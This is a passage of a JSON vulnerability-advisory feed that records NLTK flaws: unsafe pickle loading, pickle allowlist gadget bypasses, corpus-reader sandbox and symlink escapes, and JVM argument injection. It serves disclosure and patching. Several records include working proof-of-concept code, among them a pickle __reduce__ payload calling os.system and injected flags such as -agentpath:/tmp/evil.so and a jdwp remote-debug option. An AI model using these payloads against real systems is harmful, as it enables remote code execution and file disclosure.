re-expressed as the opt-in case. Existing direct-path DNS-rebinding and IP-policy tests unchanged and passing. pre-commit (isort/black/ruff) clean.\n\n## Note\nThe upfront `validate_network_url()` and the direct-path IP pinning (from the earlier DNS-rebinding fixes, CVE-2026-54296 / GHSA-qvv7) are unchanged — this only closes the proxied downgrade they didn't cover.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/nltk/nltk/security/advisories/GHSA-6ww7-3frv-cqxh"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-78682"},{"type":"WEB","url":"https://github.com/nltk/nltk/commit/767333a005a1cd3d82d2029215f2dbe66a5844d9"},{"type":"PACKAGE","url":"https://github.com/nltk/nltk"},{"type":"WEB","url":"https://github.com/nltk/nltk/releases/tag/v3.10.3"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3733.yaml"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/nltk-before-ssrf-protection-bypass-via-proxy"}]},{"schema_version":"1.7.3","id":"BREW-acronym-CVE-2026-78683","published":"2026-09-02T08:43:54Z","modified":"2026-09-17T18:47:55Z","upstream":["PYSEC-2026-3734","CVE-2026-78683","GHSA-rhp5-r9x4-f5g2"],"affected":[{"package":{"ecosystem":"Homebrew","name":"acronym","purl":"pkg:brew/acronym"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0"},{"fixed":"2.0.0_4"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.10.0","resource":"nltk","resource_purl":"pkg:pypi/nltk@3.10.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"nltk","subject_version":"3.10.3","key":"pkg:pypi/nltk@3.10.3","resource":"nltk"}]},"summary":"NLTK: Unsafe Pickle Deserialization in TransitionParser Allows Remote Code Execution","details":"## Summary\n\nThe NLTK library's `TransitionParser.parse()` method deserializes model files using `pickle_load()` with the default `restricted=False` parameter, allowing arbitrary Python code execution when loading a malicious model file. The library provides a `RestrictedUnpickler` class for safe deserialization, but it is never used by production code paths, leaving the vulnerability unpatched.\n\n## Root Cause\n\n**File:** `nltk/parse/transitionparser.py` (lines 542-557)\n\nThe `parse()` method calls `pickle_load(f)` without `restricted=True`, routing through `WarningUnpickler` which inherits from `pickle.Unpickler` and does NOT override `find_class()`. This allows arbitrary class/function resolution during unpickling, enabling RCE via standard pickle gadgets (e.g., `os.system`, `subprocess.Popen`).\n\n**Vulnerability chain in `nltk/picklesec.py`:**\n\n```python\ndef pickle_load(file, *, context=None, restricted=False):\n if restricted:\n return RestrictedUnpickler(file).load() # Safe: blocks all globals\n return WarningUnpickler(file, context=context).load() # VULNERABLE PATH\n```\n\n`WarningUnpickler` only emits a warning but does NOT block unsafe class loading — it calls `super().load()` which is standard `pickle.Unpickler.load()`.\n\n**Why this is not by design:**\n- NLTK intentionally created `RestrictedUnpickler` to block unsafe deserialization\n- The `restricted=True` parameter exists in the API but is **never used** by any production code path\n- All call sites use the default `restricted=False`: `transitionparser.py:557`, `parse/chartparser_app.py:816`, `parse/chartparser_app.py:2273`, `parse/chartparser_app.py:2311`\n\n## Attack Surface\n\n**Entry point:** `TransitionParser().parse(depgraphs, modelFile)` receives a filesystem path with no validation.\n\n**Exploitation path:**\n1. Attacker places a malicious pickle file at a known or attacker-controlled location\n2. Victim calls `parser.parse(sentences, \"/path/to/malicious_model.pkl\")`\n3. `pickle_load()` deserializes the file with `restricted=False` (default)\n4. Standard pickle gadget chain executes arbitrary Python code with victim's privileges\n\n**Impact:** Remote code execution with the privileges of the user running the NLTK-dependent application. Affects researchers, data scientists, and automated ML pipelines using NLTK for parsing tasks.\n\n## Steps to Reproduce\n\n### Environment\n- NLTK version: 3.8.1+ (all versions with `transitionparser.py`)\n- Python 3.6+\n- No special dependencies required\n\n### Reproduction\n\n1. Create a malicious pickle file that uses `__reduce__` to execute a system command during deserialization.\n\n2. Call `TransitionParser().parse([], '/path/to/malicious_model.pkl')`.\n\n3. The `pickle_load(f)` call at `transitionparser.py:557` uses `restricted=False` by default, routing through `WarningUnpickler`, which does not override `find_class()` and permits full class resolution — executing the embedded gadget.\n\n4. Arbitrary code executes with the victim's privileges.\n\n### Proof That the Fix Works\n\nChanging line 557 in `transitionparser.py` from:\n```python\nmodel = pickle_load(f)\n```\nto:\n```python\nmodel = pickle_load(f, restricted=True)\n```\ncauses `RestrictedUnpickler` to raise an `UnpicklingError` and block execution, confirming the safe path prevents the attack.\n\n### Working PoC\n\n```python\nimport pickle\nimport os\nfrom nltk.parse.transitionparser import TransitionParser\n\n# Create malicious pickle with RCE payload\nclass Exploit:\n def __reduce__(self):\n return (os.system, ('touch /tmp/nltk_poc_triggered',))\n\nwith open('/tmp/malicious_model.pkl', 'wb') as f:\n pickle.dump(Exploit(), f)\n\n# Trigger the vulnerable code path (requires algorithm argument in ≤ 3.9.4)\nparser = TransitionParser('arc-standard') # or 'arc-eager'\nparser.parse([], '/tmp/malicious_model.pkl') # loads and unpickles unsafely\n\n# Exploit succeeds: file /tmp/nltk_poc_triggered is created\n```\n\nOn NLTK ≥ 3.10.0 (patched), the same code fails with:\n\n```\n_pickle.UnpicklingError: global 'posix.system' is not in the pickle allowlist\n```\n\nThis proves the vulnerability exists in versions ≤ 3.9.4 and is fixed in 3.10.0+.\n\n## Recommended Fix\n\nChange all call sites to use `restricted=True`:\n\n| File | Line | Before | After |\n|------|------|--------|-------|\n| `nltk/parse/transitionparser.py` | 557 | `pickle_load(f)` | `pickle_load(f, restricted=True)` |\n| `nltk/parse/chartparser_app.py` | 816 | `pickle_load(model_data_file)` | `pickle_load(model_data_file, restricted=True)` |\n| `nltk/parse/chartparser_app.py` | 2273 | `pickle_load(file)` | `pickle_load(file, restricted=True)` |\n| `nltk/parse/chartparser_app.py` | 2311 | `pickle_load(fp)` | `pickle_load(fp, restricted=True)` |\n\n**Note:** This fix may affect loading older sklearn models. A more robust approach would implement a module allowlist in `RestrictedUnpickler.find_class()`.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H"}],"references":[{"type":"WEB","url":"https://github.com/nltk/nltk/security/advisories/GHSA-rhp5-r9x4-f5g2"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-78683"},{"type":"WEB","url":"https://github.com/nltk/nltk/pull/3631"},{"type":"WEB","url":"https://github.com/nltk/nltk/commit/f26b3753038d937b68145daf15e9636f8451053c"},{"type":"PACKAGE","url":"https://github.com/nltk/nltk"},{"type":"WEB","url":"https://github.com/nltk/nltk/releases/tag/v3.10.0"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3734.yaml"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/nltk-before-remote-code-execution-via-unsafe-pickle-deserialization"}]},{"schema_version":"1.7.3","id":"BREW-acronym-CVE-2026-79657","published":"2026-09-02T08:43:54Z","modified":"2026-09-17T18:47:55Z","upstream":["PYSEC-2026-3735","CVE-2026-79657","GHSA-x99w-6fgc-pmfw"],"affected":[{"package":{"ecosystem":"Homebrew","name":"acronym","purl":"pkg:brew/acronym"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0"},{"fixed":"2.0.0_5"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.10.3","resource":"nltk","resource_purl":"pkg:pypi/nltk@3.10.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"nltk","subject_version":"3.10.3","key":"pkg:pypi/nltk@3.10.3","resource":"nltk"}]},"summary":"NLTK: Allowlisted pickle loaders still permit code execution in current source","details":"### Summary\n\nThe current source tree still allows arbitrary code execution during supposedly safer allowlisted pickle loading. The allowlist trusts whole module namespaces instead of exact safe globals, so crafted pickles can invoke dangerous in-namespace callables through pickle REDUCE.\n\n### Details\n\n- **Vulnerability type:** Remote code execution via unsafe deserialization\n- **Affected component:** `nltk.picklesec.allowlisted_pickle_load`, `nltk.tokenize.punkt.punkt_pickle_load`, `nltk.parse.transitionparser.TransitionParser.parse`\n- **Affected versions:** Current source `v3.10.0-rc2`; published `3.9.4` was not the claim target for this bypass.\n- **Patched versions:** Not yet patched\n- **Root cause:** Module-prefix allowlists include dangerous callables such as `nltk.tokenize.repp.ReppTokenizer._execute` and `numpy.f2py.crackfortran.myeval`.\n\n`punkt_pickle_load()` allowlists both `nltk.tokenize.punkt` and the whole `nltk.tokenize` namespace, which exposes `ReppTokenizer._execute()` and its `subprocess.Popen(...)` sink during unpickling. `TransitionParser.parse()` uses `allowlisted_pickle_load(..., allowed_modules=(\"numpy\", \"scipy\", \"sklearn\"))`, which permits `numpy.f2py.crackfortran.myeval()` and its attacker-controlled `eval(...)` path. I confirmed both gadgets create marker files before the caller returns or later aborts on type misuse.\n\n### PoC\n\n**Preconditions**\n- The application loads an attacker-controlled tokenizer or model artifact through these public loaders.\n\n**Steps**\n1. Create a pickle whose REDUCE callable is `ReppTokenizer._execute` and point its command to a harmless marker-file write.\n2. Pass that payload to `punkt_pickle_load(BytesIO(payload))` and observe the marker file is created during unpickling.\n3. Create a second pickle whose REDUCE callable is `numpy.f2py.crackfortran.myeval` and load it through `TransitionParser.parse()`.\n4. Observe the second marker file is created before `TransitionParser.parse()` later fails on the returned object type.\n\n**Minimal reproducible excerpt**\n\n```text\n{'punkt_marker': 'PUNKT_RCE', 'transitionparser_marker': 'TP_RCE'}\n```\n\n### Impact\n\nAny caller that trusts these current allowlisted loaders can still execute attacker-controlled commands while loading model or tokenizer artifacts. This defeats the protection mechanism that replaced unrestricted pickle loading and creates a dangerous false sense of safety.\n\n### Remediation\n\nReplace broad module-prefix allowlists with exact `(module, qualname)` pairs for the few safe classes or functions genuinely required. Do not allow entire namespaces such as `nltk.tokenize` or `numpy`, and keep post-load type validation only as a secondary defense.\n\n### Resources\n\n- https://github.com/nltk/nltk/blob/v3.10.0-rc2/nltk/tokenize/punkt.py#L120-L134\n- https://github.com/nltk/nltk/blob/v3.10.0-rc2/nltk/tokenize/repp.py#L111-L115\n- https://github.com/nltk/nltk/blob/v3.10.0-rc2/nltk/parse/transitionparser.py#L26-L30\n- https://github.com/nltk/nltk/blob/v3.10.0-rc2/nltk/parse/transitionparser.py#L565-L571\n\n---\n\n## Fix + attack demonstration (verified)\n\n + tightened callers\n`find_class` now, before the allowlists:\n1. **Rejects any dotted `name`** → closes 4489 with zero legit impact.\n2. **Denies dangerous modules** (`os`, `subprocess`, `sys`, `builtins`, `numpy.f2py`, `nltk.tokenize.repp`, …) even under a broad `allowed_modules` — a defense-in-depth **backstop** so a future too-broad allowlist can't silently reopen RCE.\n3. **`builtins` denied wholesale**; safe primitives (`int`, `str`, …) must be named exactly via `allowed_globals`.\n\nCallers tightened: punkt drops the broad `nltk.tokenize` (keeps `nltk.tokenize.punkt` + exact `collections.defaultdict`/`builtins.int`); transitionparser keeps numpy/scipy/sklearn (array unpickling needs their submodules) with the new guards blocking the gadgets.\n\n## Full pickle-sink audit\nEvery deserialization sink in the tree was reviewed: **no raw `pickle.load`** anywhere, and **no** joblib/numpy/torch/dill/yaml/marshal loaders. `data.load` + `wordnet_app` use `RestrictedUnpickler` (blocks all globals — safe); the remaining `pickle_load` sites (`chartparser_app`, `tbl/demo`) load user-selected or self-written files and keep their warning.\n\n## Attack demonstration (captured; fork clone)\n```\n=== EXPLOITS blocked ===\n 4489 sklearn.os.system (dotted) -> BLOCKED\n x99w numpy.f2py.crackfortran.myeval -> BLOCKED\n x99w nltk.tokenize.repp._execute -> BLOCKED\n backstop os.system (os allowlisted) -> BLOCKED\n backstop builtins.eval (exact global)-> BLOCKED\n=== LEGIT loads still work ===\n punkt round-trip via punkt_pickle_load -> OK\n builtins.int (safe primitive) -> OK\n```\n\n## Tests\n`test_pickle_allowlist_security.py` — added 5 regressions (dotted traversal, both namespace gadgets, denied-module backstop, legit round-trip). Suite: 122 passed / 9 skipped (sklearn-dependent) across pickle/punkt/transition/tokenize. pre-commit (black/isort/ruff) clean.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/nltk/nltk/security/advisories/GHSA-x99w-6fgc-pmfw"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-79657"},{"type":"WEB","url":"https://github.com/nltk/nltk/commit/c3e37113742a1ebeeb4f2ca58941f320f98805ea"},{"type":"PACKAGE","url":"https://github.com/nltk/nltk"},{"type":"WEB","url":"https://github.com/nltk/nltk/releases/tag/v3.10.3"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3735.yaml"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/nltk-before-3.10.3-remote-code-execution-via-unsafe-pickle-deserialization"}]},{"schema_version":"1.7.3","id":"BREW-acronym-CVE-2026-79674","published":"2026-09-02T08:43:54Z","modified":"2026-09-17T18:47:55Z","upstream":["PYSEC-2026-3736","CVE-2026-79674","GHSA-3gq4-3j92-5w49"],"affected":[{"package":{"ecosystem":"Homebrew","name":"acronym","purl":"pkg:brew/acronym"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0"},{"fixed":"2.0.0_5"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.10.3","resource":"nltk","resource_purl":"pkg:pypi/nltk@3.10.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"nltk","subject_version":"3.10.3","key":"pkg:pypi/nltk@3.10.3","resource":"nltk"}]},"summary":"NLTK: Corpus Reader Sandbox Bypass","details":"## Summary\n\nNLTK corpus-reader constructors can still reach outside-root file and database reads before the `nltk.pathsec` sandbox boundary is enforced.\n\nThe PoC shows the safe path blocked by `pathsec.open`, then `LinThesaurusCorpusReader` and `PanLexLiteCorpusReader` succeeding in the same process.\n\n## Affected Product\n\n- Product: NLTK\n- Asset / component: `nltk.corpus.reader` constructors\n- Version tested: `3.10.2`\n- Deployment / package / tag: commit `474af1f5a94b1b8d53fc2b6defec3a2ce7633b74` / PyPI `nltk`\n- Environment used for verification: Python 3.13.14\n\n## Vulnerability Details\n\n- Vulnerability class: path sandbox bypass / external control of file path\n- Required privileges: none beyond the ability to supply a corpus root path to a consumer call site\n- Entry point: `LinThesaurusCorpusReader(root)` and `PanLexLiteCorpusReader(root)`\n- Trust boundary crossed: NLTK data-root sandbox enforced by `nltk.pathsec`\n- Root affected functions:\n - [CorpusReader.__init__](https://github.com/nltk/nltk/blob/474af1f5a94b1b8d53fc2b6defec3a2ce7633b74/nltk/corpus/reader/api.py#L73-L80)\n - [LinThesaurusCorpusReader.__init__](https://github.com/nltk/nltk/blob/474af1f5a94b1b8d53fc2b6defec3a2ce7633b74/nltk/corpus/reader/lin.py#L37-L43)\n - [PanLexLiteCorpusReader.__init__](https://github.com/nltk/nltk/blob/474af1f5a94b1b8d53fc2b6defec3a2ce7633b74/nltk/corpus/reader/panlex_lite.py#L45-L46)\n- Measured unsafe effect: outside-root file/database reads still happen with `ENFORCE=True`\n\n## Root Cause\n\n`CorpusReader.__init__()` turns a string root into a `FileSystemPathPointer` without any `pathsec` validation, and these readers then use builtin `open()` or `sqlite3.connect()` directly on derived paths. The constructor path therefore never hits the sandbox guard that `pathsec.open()` enforces.\n\n```python\nif zipfile:\n root = ZipFilePathPointer(zipfile, zipentry)\nelse:\n root = FileSystemPathPointer(root)\n\nwith open(path) as lin_file:\n ...\n\nself._c = sqlite3.connect(os.path.join(root, \"db.sqlite\")).cursor()\n```\n\n## Proof of Concept\n\nSave the script as `hy01_raw_path_poc.py` in the checkout root and run `python hy01_raw_path_poc.py`.\n\n```python\n#!/usr/bin/env python3\n\"\"\"PoC for HY-01: corpus-reader sandbox bypass.\n\nThis script proves three facts:\n- pathsec blocks a direct read through the sandboxed file API\n- LinThesaurusCorpusReader still reaches builtin open() on an outside path\n- PanLexLiteCorpusReader still opens an outside sqlite database and loads data\n\"\"\"\n\nfrom __future__ import annotations\n\nimport builtins\nimport pathlib\nimport sqlite3\nimport sys\nimport tempfile\nfrom unittest.mock import patch\n\ntry:\n import nltk.pathsec as pathsec\n from nltk.corpus.reader.lin import LinThesaurusCorpusReader\n from nltk.corpus.reader.panlex_lite import PanLexLiteCorpusReader\nexcept ModuleNotFoundError:\n here = pathlib.Path(__file__).resolve()\n for base in (here.parent, *here.parents):\n if (base / \"nltk\").is_dir() and (base / \"setup.py\").exists():\n sys.path.insert(0, str(base))\n break\n else:\n raise RuntimeError(\n \"Could not import nltk. Run this script from an NLTK checkout root \"\n \"or from an environment where the current checkout is installed.\"\n )\n\n import nltk.pathsec as pathsec\n from nltk.corpus.reader.lin import LinThesaurusCorpusReader\n from nltk.corpus.reader.panlex_lite import PanLexLiteCorpusReader\n\n\ndef main() -> int:\n pathsec.ENFORCE = True\n\n with patch.object(pathsec, \"_get_allowed_roots\", lambda: set()):\n with patch.object(pathsec.os, \"getcwd\", lambda: \"sandbox-disabled\"):\n with tempfile.TemporaryDirectory() as tmp:\n tmpdir = pathlib.Path(tmp)\n outside = tmpdir / \"outside\"\n outside.mkdir()\n\n blocked_file = outside / \"blocked.txt\"\n blocked_file.write_text(\"blocked\", encoding=\"utf-8\")\n\n control_target = str(blocked_file)\n try:\n with pathsec.open(control_target, \"rb\"):\n raise AssertionError(\n \"pathsec.open unexpectedly allowed control path\"\n )\n except PermissionError:\n print(\"control:pathsec.open=blocked\")\n\n lin_root = tmpdir / \"lin\"\n lin_root.mkdir()\n lin_file = lin_root / \"simN.lsp\"\n lin_file.write_text(\n '(\"business\" (desc 1.0)\\n\\t\"enterprise\"\\t0.9\\n))\\n',\n encoding=\"utf-8\",\n )\n\n opened = []\n real_open = builtins.open\n\n def tracking_open(*args, **kwargs):\n opened.append(str(args[0]))\n return real_open(*args, **kwargs)\n\n with patch(\"builtins.open\", tracking_open):\n LinThesaurusCorpusReader(str(lin_root))\n\n if any(p.endswith(\"simN.lsp\") for p in opened):\n print(\"lin:outside_root_open=success\")\n else:\n raise AssertionError(\"LinThesaurusCorpusReader did not open data\")\n\n panlex_root = tmpdir / \"panlex\"\n panlex_root.mkdir()\n db_path = panlex_root / \"db.sqlite\"\n db = sqlite3.connect(db_path)\n cur = db.cursor()\n cur.execute(\"create table lv(uid text, lv text, lc text, tt text)\")\n cur.execute(\"create table dnx(ex int, mn int, uq int, ap int, ui text)\")\n cur.execute(\"create table ex(ex int, tt text, lv text, uq int)\")\n cur.execute(\n \"insert into lv(uid, lv, lc, tt) values ('u1', 'lv1', 'en', 'English')\"\n )\n db.commit()\n db.close()\n\n reader = PanLexLiteCorpusReader(str(panlex_root))\n result = reader.language_varieties()\n if result == [(\"u1\", \"English\")]:\n print(\"panlex:language_varieties=success\")\n else:\n raise AssertionError(\"PanLexLiteCorpusReader did not load data\")\n\n return 0\n\n\nif __name__ == \"__main__\":\n raise SystemExit(main())\n```\n\nExpected output:\n\n```\ncontrol:pathsec.open=blocked\nlin:outside_root_open=success\npanlex:language_varieties=success\n```\n## Impact\n\nA caller can make NLTK read filesystem content outside the intended NLTK data sandbox through public corpus-reader constructors. In the PoC, that includes a local text file and a local SQLite db.\n\n## Severity\n\n- Base Score: 7.5 (High)\n- Severity reasoning:\n The bug is reliably triggerable by caller-controlled path input and exposes data outside the intended trust boundary; no special privileges are needed inside the process.\n\n## Remediation\n\nValidate raw string roots before constructing readers, and route all corpus-root/path handling through `pathsec` or a validated `PathPointer`. Remove direct builtin `open()` and direct `sqlite3.connect(os.path.join(...))` use on constructor-derived paths.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/nltk/nltk/security/advisories/GHSA-3gq4-3j92-5w49"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-79674"},{"type":"WEB","url":"https://github.com/nltk/nltk/commit/bc007200d123c1a98d74c2eb230f5e06c53886b8"},{"type":"PACKAGE","url":"https://github.com/nltk/nltk"},{"type":"WEB","url":"https://github.com/nltk/nltk/releases/tag/v3.10.3"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3736.yaml"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/nltk-path-traversal-via-corpus-reader-constructors"}]},{"schema_version":"1.7.3","id":"BREW-acronym-CVE-2026-79675","published":"2026-09-02T08:43:54Z","modified":"2026-09-17T18:47:55Z","upstream":["GHSA-m4rf-3fr8-xwx3","CVE-2026-79675","PYSEC-2026-3749"],"affected":[{"package":{"ecosystem":"Homebrew","name":"acronym","purl":"pkg:brew/acronym"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0"},{"fixed":"2.0.0_5"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.10.3","resource":"nltk","resource_purl":"pkg:pypi/nltk@3.10.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"nltk","subject_version":"3.10.3","key":"pkg:pypi/nltk@3.10.3","resource":"nltk"}]},"summary":"NLTK: JVM argument injection bypass via per-call options in the NLTK Stanford wrappers (incomplete fix of CVE-2026-12841)","details":"## Vulnerability\n\nThe fix for CVE-2026-12841 (CWE-88, JVM argument injection) added `_validate_java_options()` to block dangerous JVM flags such as `-agentlib`, `-agentpath`, `-javaagent`, `-Xrunjdwp`, and `@argfile` references. However, the validation is only applied when setting global options via `config_java()`. The `java()` function's per-call `options` parameter -- added by PR #3683 (CVE-2026-12615 fix) -- passes options directly to `subprocess.Popen` without calling `_validate_java_options()`.\n\nAll four Stanford Java wrapper classes accept user-supplied `java_options` and route them through the unvalidated per-call path, bypassing the CVE-2026-12841 fix entirely.\n\n## Root Cause\n\nIn `nltk/internals.py`, the `java()` function (line 128) accepts an `options` keyword argument. When `options` is not None, it is converted to a list and prepended to the JVM command (lines 211-217) without any validation:\n\n```python\n# nltk/internals.py, lines 211-217 (HEAD)\nif options is None:\n java_options = _java_options # validated by config_java()\nelse:\n if isinstance(options, str):\n options = options.split()\n java_options = list(options) # NO validation\ncmd = [_java_bin] + java_options + cmd\n```\n\nCompare with `config_java()` (line 92) which does validate:\n\n```python\n# nltk/internals.py, lines 122-123\n_validate_java_options(options)\n_java_options[:] = options\n```\n\nThe four affected wrapper classes store user-supplied `java_options` without validation and pass them through the unvalidated per-call path:\n\n1. `GenericStanfordParser` (`nltk/parse/stanford.py`): constructor parameter at line 39, stored at line 78, passed at lines 247 and 256\n2. `StanfordTagger` (`nltk/tag/stanford.py`): constructor parameter at line 51, stored at line 79, passed at line 118\n3. `StanfordTokenizer` (`nltk/tokenize/stanford.py`): constructor parameter at line 43, stored at line 66, passed at line 109\n4. `StanfordSegmenter` (`nltk/tokenize/stanford_segmenter.py`): constructor parameter at line 68, stored at line 117, passed at line 337\n\n## Proof of Concept\n\n```python\nfrom nltk.internals import config_java, java, _validate_java_options\n\n# 1. The global config_java() path correctly blocks dangerous flags:\ntry:\n config_java(options=[\"-agentpath:/tmp/evil.so\"])\nexcept ValueError as e:\n print(f\"config_java blocked: {e}\") # blocked as expected\n\n# 2. The per-call options path does NOT block them:\n# (Would execute if Java were installed)\n# java([\"SomeClass\"], classpath=\".\", options=[\"-agentpath:/tmp/evil.so\"])\n# This passes \"-agentpath:/tmp/evil.so\" directly to subprocess.Popen\n\n# 3. Stanford wrapper classes pass through without validation:\n# from nltk.parse.stanford import StanfordParser\n# parser = StanfordParser(java_options=\"-agentpath:/tmp/evil.so\")\n# parser.parse(...) # dangerous flag reaches JVM\n\n# Verify the gap directly:\ndangerous_opts = [\"-agentpath:/tmp/evil.so\"]\ntry:\n _validate_java_options(dangerous_opts)\n print(\"Would have been caught\")\nexcept ValueError:\n print(\"Correctly rejected by _validate_java_options()\")\n\n# But java() itself never calls _validate_java_options():\nimport inspect\nsource = inspect.getsource(java)\nassert \"_validate_java_options\" not in source, \"java() does not validate options\"\nprint(\"Confirmed: java() does not call _validate_java_options()\")\n```\n\n## Impact\n\nAn attacker who controls the `java_options` parameter to any NLTK Stanford wrapper class can inject arbitrary JVM flags, including:\n\n- `-agentpath:/path/to/malicious.so` -- loads a native agent, achieving arbitrary code execution\n- `-javaagent:/path/to/malicious.jar` -- loads a Java agent for bytecode manipulation\n- `-agentlib:jdwp=transport=dt_socket,server=y,address=*:5005` -- enables remote debugging, allowing remote code execution\n- `@/path/to/argfile` -- expands an argument file, which can smuggle any of the above\n\nThis is exploitable in scenarios where NLTK is deployed as a service and `java_options` is derived from user input, configuration files, or environment variables. The PR #3647 commit message explicitly states the fix was intended to cover \"StanfordSegmenter, and GenericStanfordParser\" but the implementation only validates in `config_java()`.\n\n## Suggested Fix\n\nAdd `_validate_java_options()` to the `java()` function's per-call options handling:\n\n```python\n# nltk/internals.py, in the java() function\nif options is None:\n java_options = _java_options\nelse:\n if isinstance(options, str):\n options = options.split()\n java_options = list(options)\n _validate_java_options(java_options) # ADD THIS LINE\ncmd = [_java_bin] + java_options + cmd\n```\n\nThis single-line addition closes the bypass for all four Stanford wrapper classes and any future callers of `java(options=...)`.\n\n### AI tooling\n\nAI assistance was used for the code audit and for drafting this report. The finding were manually verified against the project's source at the location cited above before reporting it, and the severity and impact assessment are the reporters.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/nltk/nltk/security/advisories/GHSA-m4rf-3fr8-xwx3"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-79675"},{"type":"WEB","url":"https://github.com/nltk/nltk/commit/8fa9650b6009aacfdebbc33d2a08d32c0858ea6c"},{"type":"PACKAGE","url":"https://github.com/nltk/nltk"},{"type":"WEB","url":"https://github.com/nltk/nltk/releases/tag/v3.10.3"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/nltk-before-jvm-argument-injection-via-per-call-options"}]},{"schema_version":"1.7.3","id":"BREW-acronym-CVE-2026-79676","published":"2026-09-02T08:43:54Z","modified":"2026-09-17T18:47:55Z","upstream":["PYSEC-2026-3737","CVE-2026-79676","GHSA-p4rw-rvv2-7xwr"],"affected":[{"package":{"ecosystem":"Homebrew","name":"acronym","purl":"pkg:brew/acronym"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0"},{"fixed":"2.0.0_5"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.10.3","resource":"nltk","resource_purl":"pkg:pypi/nltk@3.10.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"nltk","subject_version":"3.10.3","key":"pkg:pypi/nltk@3.10.3","resource":"nltk"}]},"summary":"NLTK: Corpus readers follow symlinks outside trusted roots despite pathsec enforcement","details":"### Summary\n\nSeveral corpus readers still step outside NLTK's symlink-aware trusted-root model. They derive in-root paths from trusted corpus state, convert those paths back into plain strings, and reopen them with built-in `open()` rather than `nltk.pathsec.open()`.\n\n### Details\n\n- **Vulnerability type:** Path traversal and symlink boundary bypass\n- **Affected component:** `nltk.corpus.reader.ipipan`, `nltk.corpus.reader.crubadan`, `nltk.corpus.reader.lin`\n- **Affected versions:** Published `3.9.4` and current source `v3.10.0-rc2` both reproduced.\n- **Patched versions:** Not yet patched\n- **Root cause:** Root-derived paths are reopened with raw `open()` without preserving the trusted-root boundary.\n\n`IPIPANCorpusReader` opens `header.xml` derived from `morph.xml`, `CrubadanCorpusReader` opens `table.txt` directly, and `LinThesaurusCorpusReader` opens `simN.lsp` paths returned from its own root helpers. Under `pathsec.ENFORCE=True`, a symlink placed inside the trusted corpus root can point outside the root and still be parsed successfully. It was confirmed parsed outside-root content is returned through public methods such as `channels()`, `domains()`, `categories()`, `langs()`, `crubadan_to_iso()`, `synonyms()`, and `scored_synonyms()`.\n\n### PoC\n\n**Preconditions**\n- The application processes attacker-influenced corpora inside a trusted NLTK data root or trusted corpus directory.\n\n**Steps**\n1. Create a trusted corpus root and keep `pathsec.ENFORCE=True` with that root allowlisted.\n2. Place symlinked reader inputs such as `header.xml`, `table.txt`, or `simN.lsp` inside the root and point them to external files.\n3. Instantiate the corresponding corpus reader and call its normal public methods.\n4. Observe that parsed outside-root values are returned even though `pathsec.open()` blocks the same symlink targets.\n\n**Minimal reproducible excerpt**\n\n```text\n{'ipipan': ['LEAK', 'TOPSECRET', 'CLASSIFIED'], 'crubadan': ['LEAK'], 'lin': [('LEAK', 9.5)]}\n```\n\n### Impact\n\nAn attacker who can stage corpus files or symlinks under a trusted data root can disclose outside-root content through normal corpus-reader results, defeating the boundary NLTK documents for shared and untrusted-input environments.\n\n### Remediation\n\nPreserve `PathPointer` and `required_root` semantics end to end. Replace direct `open()` calls with 